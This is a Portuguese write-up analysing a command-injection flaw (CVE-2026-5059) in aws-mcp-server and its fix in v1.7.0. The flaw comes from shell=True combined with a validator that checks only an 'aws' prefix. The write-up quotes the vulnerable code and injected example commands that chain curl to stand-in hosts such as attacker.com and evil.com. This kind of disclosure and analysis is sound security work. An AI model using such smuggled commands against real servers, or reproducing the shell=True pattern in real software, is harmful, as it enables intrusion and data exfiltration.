
Prova de conceito demonstrando injeção de comandos no aws-mcp-server via shell=True, com análise do código vulnerável e da correção na v1.7.0.
Onde está o CVE-2026-5059 no código? A vulnerabilidade está em dois arquivos que trabalham juntos:
Arquivo 1: tools.py — A Causa Raiz A versão antiga usava shell=True em execute_piped_command(): python# CÓDIGO ANTIGO VULNERÁVEL process = subprocess.run( command, # ← string bruta passada para o shell shell=True, # ← ESTE é o problema ... ) Quando shell=True, o shell do SO interpreta a string inteira, incluindo ;, &&, ||, crases — então qualquer coisa após ; é executada como um comando separado.
Arquivo 2: security.py — A Proteção Incompleta O validador apenas verificava se o comando começava com aws: python# CÓDIGO ANTIGO VULNERÁVEL def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← para aqui, sem verificar o que vem depois do pipe Então aws s3 ls ; curl http://attacker.com passava na validação — começa com aws — e depois shell=True executava ambas as partes.
Por que a versão atual (v1.7.0) é diferente Olhando o código real hoje, ambos os problemas desapareceram: python# CÓDIGO ATUAL em cli_executor.py cmd_parts = shlex.split(command) # divide em uma lista subprocess.run(cmd_parts, shell=False) # baseado em lista, sem interpretação do shell E security.py foi excluído por completo — substituído pelo sandbox do SO (Landlock/bwrap/Seatbelt). O ; agora é inofensivo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess recebe ';' como um argumento literal para aws → a CLI da AWS o ignora, nenhum segundo comando é executado
Resumo em uma linha Versão vulnerávelVersão atual v1.7.0Execuçãoshell=True + stringshell=False + listaValidaçãostartswith("aws") apenasSandbox em nível de SO; tratamentoExecutado pelo shellTratado como texto literal O CVE foi registrado contra a versão antiga. A ZDI o publicou como 0-day porque o fornecedor rejeitou o relatório — mas a arquitetura já havia migrado do shell=True antes da publicação do CVE.